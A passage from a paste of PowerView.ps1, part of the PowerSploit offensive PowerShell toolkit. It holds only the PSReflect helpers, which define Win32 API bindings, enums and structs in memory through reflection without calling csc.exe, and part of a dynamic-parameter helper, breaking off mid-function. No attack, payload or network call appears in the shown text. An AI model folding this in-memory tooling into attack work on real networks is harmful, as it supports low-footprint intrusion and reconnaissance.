· 8 years ago · Feb 27, 2018, 12:12 AM
1#requires -version 2
2
3<#
4
5PowerSploit File: PowerView.ps1
6Author: Will Schroeder (@harmj0y)
7License: BSD 3-Clause
8Required Dependencies: None
9
10#>
11
12
13########################################################
14#
15# PSReflect code for Windows API access
16# Author: @mattifestation
17# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
18#
19########################################################
20
21function New-InMemoryModule {
22<#
23.SYNOPSIS
24
25Creates an in-memory assembly and module
26
27Author: Matthew Graeber (@mattifestation)
28License: BSD 3-Clause
29Required Dependencies: None
30Optional Dependencies: None
31
32.DESCRIPTION
33
34When defining custom enums, structs, and unmanaged functions, it is
35necessary to associate to an assembly module. This helper function
36creates an in-memory module that can be passed to the 'enum',
37'struct', and Add-Win32Type functions.
38
39.PARAMETER ModuleName
40
41Specifies the desired name for the in-memory assembly and module. If
42ModuleName is not provided, it will default to a GUID.
43
44.EXAMPLE
45
46$Module = New-InMemoryModule -ModuleName Win32
47#>
48
49 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
50 [CmdletBinding()]
51 Param (
52 [Parameter(Position = 0)]
53 [ValidateNotNullOrEmpty()]
54 [String]
55 $ModuleName = [Guid]::NewGuid().ToString()
56 )
57
58 $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
59 $LoadedAssemblies = $AppDomain.GetAssemblies()
60
61 foreach ($Assembly in $LoadedAssemblies) {
62 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
63 return $Assembly
64 }
65 }
66
67 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
68 $Domain = $AppDomain
69 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
70 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
71
72 return $ModuleBuilder
73}
74
75
76# A helper function used to reduce typing while defining function
77# prototypes for Add-Win32Type.
78function func {
79 Param (
80 [Parameter(Position = 0, Mandatory = $True)]
81 [String]
82 $DllName,
83
84 [Parameter(Position = 1, Mandatory = $True)]
85 [string]
86 $FunctionName,
87
88 [Parameter(Position = 2, Mandatory = $True)]
89 [Type]
90 $ReturnType,
91
92 [Parameter(Position = 3)]
93 [Type[]]
94 $ParameterTypes,
95
96 [Parameter(Position = 4)]
97 [Runtime.InteropServices.CallingConvention]
98 $NativeCallingConvention,
99
100 [Parameter(Position = 5)]
101 [Runtime.InteropServices.CharSet]
102 $Charset,
103
104 [String]
105 $EntryPoint,
106
107 [Switch]
108 $SetLastError
109 )
110
111 $Properties = @{
112 DllName = $DllName
113 FunctionName = $FunctionName
114 ReturnType = $ReturnType
115 }
116
117 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
118 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
119 if ($Charset) { $Properties['Charset'] = $Charset }
120 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
121 if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
122
123 New-Object PSObject -Property $Properties
124}
125
126
127function Add-Win32Type
128{
129<#
130.SYNOPSIS
131
132Creates a .NET type for an unmanaged Win32 function.
133
134Author: Matthew Graeber (@mattifestation)
135License: BSD 3-Clause
136Required Dependencies: None
137Optional Dependencies: func
138
139.DESCRIPTION
140
141Add-Win32Type enables you to easily interact with unmanaged (i.e.
142Win32 unmanaged) functions in PowerShell. After providing
143Add-Win32Type with a function signature, a .NET type is created
144using reflection (i.e. csc.exe is never called like with Add-Type).
145
146The 'func' helper function can be used to reduce typing when defining
147multiple function definitions.
148
149.PARAMETER DllName
150
151The name of the DLL.
152
153.PARAMETER FunctionName
154
155The name of the target function.
156
157.PARAMETER EntryPoint
158
159The DLL export function name. This argument should be specified if the
160specified function name is different than the name of the exported
161function.
162
163.PARAMETER ReturnType
164
165The return type of the function.
166
167.PARAMETER ParameterTypes
168
169The function parameters.
170
171.PARAMETER NativeCallingConvention
172
173Specifies the native calling convention of the function. Defaults to
174stdcall.
175
176.PARAMETER Charset
177
178If you need to explicitly call an 'A' or 'W' Win32 function, you can
179specify the character set.
180
181.PARAMETER SetLastError
182
183Indicates whether the callee calls the SetLastError Win32 API
184function before returning from the attributed method.
185
186.PARAMETER Module
187
188The in-memory module that will host the functions. Use
189New-InMemoryModule to define an in-memory module.
190
191.PARAMETER Namespace
192
193An optional namespace to prepend to the type. Add-Win32Type defaults
194to a namespace consisting only of the name of the DLL.
195
196.EXAMPLE
197
198$Mod = New-InMemoryModule -ModuleName Win32
199
200$FunctionDefinitions = @(
201 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
202 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
203 (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
204)
205
206$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
207$Kernel32 = $Types['kernel32']
208$Ntdll = $Types['ntdll']
209$Ntdll::RtlGetCurrentPeb()
210$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
211$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
212
213.NOTES
214
215Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
216
217When defining multiple function prototypes, it is ideal to provide
218Add-Win32Type with an array of function signatures. That way, they
219are all incorporated into the same in-memory module.
220#>
221
222 [OutputType([Hashtable])]
223 Param(
224 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
225 [String]
226 $DllName,
227
228 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
229 [String]
230 $FunctionName,
231
232 [Parameter(ValueFromPipelineByPropertyName=$True)]
233 [String]
234 $EntryPoint,
235
236 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
237 [Type]
238 $ReturnType,
239
240 [Parameter(ValueFromPipelineByPropertyName=$True)]
241 [Type[]]
242 $ParameterTypes,
243
244 [Parameter(ValueFromPipelineByPropertyName=$True)]
245 [Runtime.InteropServices.CallingConvention]
246 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
247
248 [Parameter(ValueFromPipelineByPropertyName=$True)]
249 [Runtime.InteropServices.CharSet]
250 $Charset = [Runtime.InteropServices.CharSet]::Auto,
251
252 [Parameter(ValueFromPipelineByPropertyName=$True)]
253 [Switch]
254 $SetLastError,
255
256 [Parameter(Mandatory=$True)]
257 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
258 $Module,
259
260 [ValidateNotNull()]
261 [String]
262 $Namespace = ''
263 )
264
265 BEGIN
266 {
267 $TypeHash = @{}
268 }
269
270 PROCESS
271 {
272 if ($Module -is [Reflection.Assembly])
273 {
274 if ($Namespace)
275 {
276 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
277 }
278 else
279 {
280 $TypeHash[$DllName] = $Module.GetType($DllName)
281 }
282 }
283 else
284 {
285 # Define one type for each DLL
286 if (!$TypeHash.ContainsKey($DllName))
287 {
288 if ($Namespace)
289 {
290 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
291 }
292 else
293 {
294 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
295 }
296 }
297
298 $Method = $TypeHash[$DllName].DefineMethod(
299 $FunctionName,
300 'Public,Static,PinvokeImpl',
301 $ReturnType,
302 $ParameterTypes)
303
304 # Make each ByRef parameter an Out parameter
305 $i = 1
306 foreach($Parameter in $ParameterTypes)
307 {
308 if ($Parameter.IsByRef)
309 {
310 [void] $Method.DefineParameter($i, 'Out', $null)
311 }
312
313 $i++
314 }
315
316 $DllImport = [Runtime.InteropServices.DllImportAttribute]
317 $SetLastErrorField = $DllImport.GetField('SetLastError')
318 $CallingConventionField = $DllImport.GetField('CallingConvention')
319 $CharsetField = $DllImport.GetField('CharSet')
320 $EntryPointField = $DllImport.GetField('EntryPoint')
321 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
322
323 if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
324
325 # Equivalent to C# version of [DllImport(DllName)]
326 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
327 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
328 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
329 [Reflection.FieldInfo[]] @($SetLastErrorField,
330 $CallingConventionField,
331 $CharsetField,
332 $EntryPointField),
333 [Object[]] @($SLEValue,
334 ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
335 ([Runtime.InteropServices.CharSet] $Charset),
336 $ExportedFuncName))
337
338 $Method.SetCustomAttribute($DllImportAttribute)
339 }
340 }
341
342 END
343 {
344 if ($Module -is [Reflection.Assembly])
345 {
346 return $TypeHash
347 }
348
349 $ReturnTypes = @{}
350
351 foreach ($Key in $TypeHash.Keys)
352 {
353 $Type = $TypeHash[$Key].CreateType()
354
355 $ReturnTypes[$Key] = $Type
356 }
357
358 return $ReturnTypes
359 }
360}
361
362
363function psenum {
364<#
365.SYNOPSIS
366
367Creates an in-memory enumeration for use in your PowerShell session.
368
369Author: Matthew Graeber (@mattifestation)
370License: BSD 3-Clause
371Required Dependencies: None
372Optional Dependencies: None
373
374.DESCRIPTION
375
376The 'psenum' function facilitates the creation of enums entirely in
377memory using as close to a "C style" as PowerShell will allow.
378
379.PARAMETER Module
380
381The in-memory module that will host the enum. Use
382New-InMemoryModule to define an in-memory module.
383
384.PARAMETER FullName
385
386The fully-qualified name of the enum.
387
388.PARAMETER Type
389
390The type of each enum element.
391
392.PARAMETER EnumElements
393
394A hashtable of enum elements.
395
396.PARAMETER Bitfield
397
398Specifies that the enum should be treated as a bitfield.
399
400.EXAMPLE
401
402$Mod = New-InMemoryModule -ModuleName Win32
403
404$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
405 UNKNOWN = 0
406 NATIVE = 1 # Image doesn't require a subsystem.
407 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
408 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
409 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
410 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
411 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
412 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
413 EFI_APPLICATION = 10
414 EFI_BOOT_SERVICE_DRIVER = 11
415 EFI_RUNTIME_DRIVER = 12
416 EFI_ROM = 13
417 XBOX = 14
418 WINDOWS_BOOT_APPLICATION = 16
419}
420
421.NOTES
422
423PowerShell purists may disagree with the naming of this function but
424again, this was developed in such a way so as to emulate a "C style"
425definition as closely as possible. Sorry, I'm not going to name it
426New-Enum. :P
427#>
428
429 [OutputType([Type])]
430 Param (
431 [Parameter(Position = 0, Mandatory=$True)]
432 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
433 $Module,
434
435 [Parameter(Position = 1, Mandatory=$True)]
436 [ValidateNotNullOrEmpty()]
437 [String]
438 $FullName,
439
440 [Parameter(Position = 2, Mandatory=$True)]
441 [Type]
442 $Type,
443
444 [Parameter(Position = 3, Mandatory=$True)]
445 [ValidateNotNullOrEmpty()]
446 [Hashtable]
447 $EnumElements,
448
449 [Switch]
450 $Bitfield
451 )
452
453 if ($Module -is [Reflection.Assembly])
454 {
455 return ($Module.GetType($FullName))
456 }
457
458 $EnumType = $Type -as [Type]
459
460 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
461
462 if ($Bitfield)
463 {
464 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
465 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
466 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
467 }
468
469 foreach ($Key in $EnumElements.Keys)
470 {
471 # Apply the specified enum type to each element
472 $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
473 }
474
475 $EnumBuilder.CreateType()
476}
477
478
479# A helper function used to reduce typing while defining struct
480# fields.
481function field {
482 Param (
483 [Parameter(Position = 0, Mandatory=$True)]
484 [UInt16]
485 $Position,
486
487 [Parameter(Position = 1, Mandatory=$True)]
488 [Type]
489 $Type,
490
491 [Parameter(Position = 2)]
492 [UInt16]
493 $Offset,
494
495 [Object[]]
496 $MarshalAs
497 )
498
499 @{
500 Position = $Position
501 Type = $Type -as [Type]
502 Offset = $Offset
503 MarshalAs = $MarshalAs
504 }
505}
506
507
508function struct
509{
510<#
511.SYNOPSIS
512
513Creates an in-memory struct for use in your PowerShell session.
514
515Author: Matthew Graeber (@mattifestation)
516License: BSD 3-Clause
517Required Dependencies: None
518Optional Dependencies: field
519
520.DESCRIPTION
521
522The 'struct' function facilitates the creation of structs entirely in
523memory using as close to a "C style" as PowerShell will allow. Struct
524fields are specified using a hashtable where each field of the struct
525is comprosed of the order in which it should be defined, its .NET
526type, and optionally, its offset and special marshaling attributes.
527
528One of the features of 'struct' is that after your struct is defined,
529it will come with a built-in GetSize method as well as an explicit
530converter so that you can easily cast an IntPtr to the struct without
531relying upon calling SizeOf and/or PtrToStructure in the Marshal
532class.
533
534.PARAMETER Module
535
536The in-memory module that will host the struct. Use
537New-InMemoryModule to define an in-memory module.
538
539.PARAMETER FullName
540
541The fully-qualified name of the struct.
542
543.PARAMETER StructFields
544
545A hashtable of fields. Use the 'field' helper function to ease
546defining each field.
547
548.PARAMETER PackingSize
549
550Specifies the memory alignment of fields.
551
552.PARAMETER ExplicitLayout
553
554Indicates that an explicit offset for each field will be specified.
555
556.EXAMPLE
557
558$Mod = New-InMemoryModule -ModuleName Win32
559
560$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
561 DOS_SIGNATURE = 0x5A4D
562 OS2_SIGNATURE = 0x454E
563 OS2_SIGNATURE_LE = 0x454C
564 VXD_SIGNATURE = 0x454C
565}
566
567$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
568 e_magic = field 0 $ImageDosSignature
569 e_cblp = field 1 UInt16
570 e_cp = field 2 UInt16
571 e_crlc = field 3 UInt16
572 e_cparhdr = field 4 UInt16
573 e_minalloc = field 5 UInt16
574 e_maxalloc = field 6 UInt16
575 e_ss = field 7 UInt16
576 e_sp = field 8 UInt16
577 e_csum = field 9 UInt16
578 e_ip = field 10 UInt16
579 e_cs = field 11 UInt16
580 e_lfarlc = field 12 UInt16
581 e_ovno = field 13 UInt16
582 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
583 e_oemid = field 15 UInt16
584 e_oeminfo = field 16 UInt16
585 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
586 e_lfanew = field 18 Int32
587}
588
589# Example of using an explicit layout in order to create a union.
590$TestUnion = struct $Mod TestUnion @{
591 field1 = field 0 UInt32 0
592 field2 = field 1 IntPtr 0
593} -ExplicitLayout
594
595.NOTES
596
597PowerShell purists may disagree with the naming of this function but
598again, this was developed in such a way so as to emulate a "C style"
599definition as closely as possible. Sorry, I'm not going to name it
600New-Struct. :P
601#>
602
603 [OutputType([Type])]
604 Param (
605 [Parameter(Position = 1, Mandatory=$True)]
606 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
607 $Module,
608
609 [Parameter(Position = 2, Mandatory=$True)]
610 [ValidateNotNullOrEmpty()]
611 [String]
612 $FullName,
613
614 [Parameter(Position = 3, Mandatory=$True)]
615 [ValidateNotNullOrEmpty()]
616 [Hashtable]
617 $StructFields,
618
619 [Reflection.Emit.PackingSize]
620 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
621
622 [Switch]
623 $ExplicitLayout
624 )
625
626 if ($Module -is [Reflection.Assembly])
627 {
628 return ($Module.GetType($FullName))
629 }
630
631 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
632 Class,
633 Public,
634 Sealed,
635 BeforeFieldInit'
636
637 if ($ExplicitLayout)
638 {
639 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
640 }
641 else
642 {
643 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
644 }
645
646 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
647 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
648 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
649
650 $Fields = New-Object Hashtable[]($StructFields.Count)
651
652 # Sort each field according to the orders specified
653 # Unfortunately, PSv2 doesn't have the luxury of the
654 # hashtable [Ordered] accelerator.
655 foreach ($Field in $StructFields.Keys)
656 {
657 $Index = $StructFields[$Field]['Position']
658 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
659 }
660
661 foreach ($Field in $Fields)
662 {
663 $FieldName = $Field['FieldName']
664 $FieldProp = $Field['Properties']
665
666 $Offset = $FieldProp['Offset']
667 $Type = $FieldProp['Type']
668 $MarshalAs = $FieldProp['MarshalAs']
669
670 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
671
672 if ($MarshalAs)
673 {
674 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
675 if ($MarshalAs[1])
676 {
677 $Size = $MarshalAs[1]
678 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
679 $UnmanagedType, $SizeConst, @($Size))
680 }
681 else
682 {
683 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
684 }
685
686 $NewField.SetCustomAttribute($AttribBuilder)
687 }
688
689 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
690 }
691
692 # Make the struct aware of its own size.
693 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
694 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
695 'Public, Static',
696 [Int],
697 [Type[]] @())
698 $ILGenerator = $SizeMethod.GetILGenerator()
699 # Thanks for the help, Jason Shirk!
700 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
701 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
702 [Type].GetMethod('GetTypeFromHandle'))
703 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
704 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
705 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
706
707 # Allow for explicit casting from an IntPtr
708 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
709 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
710 'PrivateScope, Public, Static, HideBySig, SpecialName',
711 $StructBuilder,
712 [Type[]] @([IntPtr]))
713 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
714 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
715 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
716 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
717 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
718 [Type].GetMethod('GetTypeFromHandle'))
719 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
720 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
721 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
722 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
723
724 $StructBuilder.CreateType()
725}
726
727
728########################################################
729#
730# Misc. helpers
731#
732########################################################
733
734Function New-DynamicParameter {
735<#
736.SYNOPSIS
737
738Helper function to simplify creating dynamic parameters.
739
740 Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/.
741 Originally released under the Microsoft Public License (Ms-PL).
742
743.DESCRIPTION
744
745Helper function to simplify creating dynamic parameters.
746
747Example use cases:
748 Include parameters only if your environment dictates it
749 Include parameters depending on the value of a user-specified parameter
750 Provide tab completion and intellisense for parameters, depending on the environment
751
752Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.
753 Use New-DynamicParameter with 'CreateVariables' switch in your main code block,
754 ('Process' for advanced functions) to create those variables.
755 Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.
756
757This function has two operating modes:
758
7591. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,
760with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.
761
7622. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.
763Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,
764with custom conditions and so on.
765
766.NOTES
767
768Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:
769 https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1
770 http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/
771 http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/
772
773Credit to BM for alias and type parameters and their handling
774
775.PARAMETER Name
776
777Name of the dynamic parameter
778
779.PARAMETER Type
780
781Type for the dynamic parameter. Default is string
782
783.PARAMETER Alias
784
785If specified, one or more aliases to assign to the dynamic parameter
786
787.PARAMETER Mandatory
788
789If specified, set the Mandatory attribute for this dynamic parameter
790
791.PARAMETER Position
792
793If specified, set the Position attribute for this dynamic parameter
794
795.PARAMETER HelpMessage
796
797If specified, set the HelpMessage for this dynamic parameter
798
799.PARAMETER DontShow
800
801If specified, set the DontShow for this dynamic parameter.
802This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.
803http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/
804
805.PARAMETER ValueFromPipeline
806
807If specified, set the ValueFromPipeline attribute for this dynamic parameter
808
809.PARAMETER ValueFromPipelineByPropertyName
810
811If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter
812
813.PARAMETER ValueFromRemainingArguments
814
815If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter
816
817.PARAMETER ParameterSetName
818
819If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.
820
821.PARAMETER AllowNull
822
823If specified, set the AllowNull attribute of this dynamic parameter
824
825.PARAMETER AllowEmptyString
826
827If specified, set the AllowEmptyString attribute of this dynamic parameter
828
829.PARAMETER AllowEmptyCollection
830
831If specified, set the AllowEmptyCollection attribute of this dynamic parameter
832
833.PARAMETER ValidateNotNull
834
835If specified, set the ValidateNotNull attribute of this dynamic parameter
836
837.PARAMETER ValidateNotNullOrEmpty
838
839If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter
840
841.PARAMETER ValidateRange
842
843If specified, set the ValidateRange attribute of this dynamic parameter
844
845.PARAMETER ValidateLength
846
847If specified, set the ValidateLength attribute of this dynamic parameter
848
849.PARAMETER ValidatePattern
850
851If specified, set the ValidatePattern attribute of this dynamic parameter
852
853.PARAMETER ValidateScript
854
855If specified, set the ValidateScript attribute of this dynamic parameter
856
857.PARAMETER ValidateSet
858
859If specified, set the ValidateSet attribute of this dynamic parameter
860
861.PARAMETER Dictionary
862
863If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.
864Appropriate for custom dynamic parameters creation.
865
866If not specified, create and return a RuntimeDefinedParameterDictionary
867Appropriate for a simple dynamic parameter creation.
868#>
869
870 [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
871 Param (
872 [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
873 [ValidateNotNullOrEmpty()]
874 [string]$Name,
875
876 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
877 [System.Type]$Type = [int],
878
879 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
880 [string[]]$Alias,
881
882 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
883 [switch]$Mandatory,
884
885 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
886 [int]$Position,
887
888 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
889 [string]$HelpMessage,
890
891 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
892 [switch]$DontShow,
893
894 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
895 [switch]$ValueFromPipeline,
896
897 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
898 [switch]$ValueFromPipelineByPropertyName,
899
900 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
901 [switch]$ValueFromRemainingArguments,
902
903 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
904 [string]$ParameterSetName = '__AllParameterSets',
905
906 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
907 [switch]$AllowNull,
908
909 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
910 [switch]$AllowEmptyString,
911
912 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
913 [switch]$AllowEmptyCollection,
914
915 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
916 [switch]$ValidateNotNull,
917
918 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
919 [switch]$ValidateNotNullOrEmpty,
920
921 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
922 [ValidateCount(2,2)]
923 [int[]]$ValidateCount,
924
925 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
926 [ValidateCount(2,2)]
927 [int[]]$ValidateRange,
928
929 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
930 [ValidateCount(2,2)]
931 [int[]]$ValidateLength,
932
933 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
934 [ValidateNotNullOrEmpty()]
935 [string]$ValidatePattern,
936
937 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
938 [ValidateNotNullOrEmpty()]
939 [scriptblock]$ValidateScript,
940
941 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
942 [ValidateNotNullOrEmpty()]
943 [string[]]$ValidateSet,
944
945 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
946 [ValidateNotNullOrEmpty()]
947 [ValidateScript({
948 if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
949 {
950 Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'
951 }
952 $true
953 })]
954 $Dictionary = $false,
955
956 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
957 [switch]$CreateVariables,
958
959 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
960 [ValidateNotNullOrEmpty()]
961 [ValidateScript({
962 # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
963 # so one can't use PowerShell's '-is' operator to validate type.
964 if($_.GetType().Name -notmatch 'Dictionary') {
965 Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
966 }
967 $true
968 })]
969 $BoundParameters
970 )
971
972 Begin {
973 $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary
974 function _temp { [CmdletBinding()] Param() }
975 $CommonParameters = (Get-Command _temp).Parameters.Keys
976 }
977
978 Process {
979 if($CreateVariables) {
980 $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }
981 ForEach($Parameter in $BoundKeys) {
982 if ($Parameter) {
983 Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
984 }
985 }
986 }
987 else {
988 $StaleKeys = @()
989 $StaleKeys = $PSBoundParameters.GetEnumerator() |
990 ForEach-Object {
991 if($_.Value.PSobject.Methods.Name -match '^Equals$') {
992 # If object has Equals, compare bound key and variable using it
993 if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
994 $_.Key
995 }
996 }
997 else {
998 # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
999 if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
1000 $_.Key
1001 }
1002 }
1003 }
1004 if($StaleKeys) {
1005 $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
1006 }
1007
1008 # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters
1009 $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() |
1010 # Find parameters that are belong to the current parameter set
